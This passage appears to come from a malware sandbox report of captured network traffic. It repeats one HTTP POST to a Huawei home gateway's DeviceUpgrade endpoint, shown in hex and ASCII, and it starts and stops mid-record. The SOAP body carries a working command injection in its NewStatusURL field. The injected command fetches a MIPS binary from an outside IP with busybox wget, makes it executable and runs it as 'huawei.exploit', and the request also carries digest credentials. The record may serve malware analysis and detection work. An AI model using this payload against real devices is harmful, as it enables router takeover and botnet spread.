74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 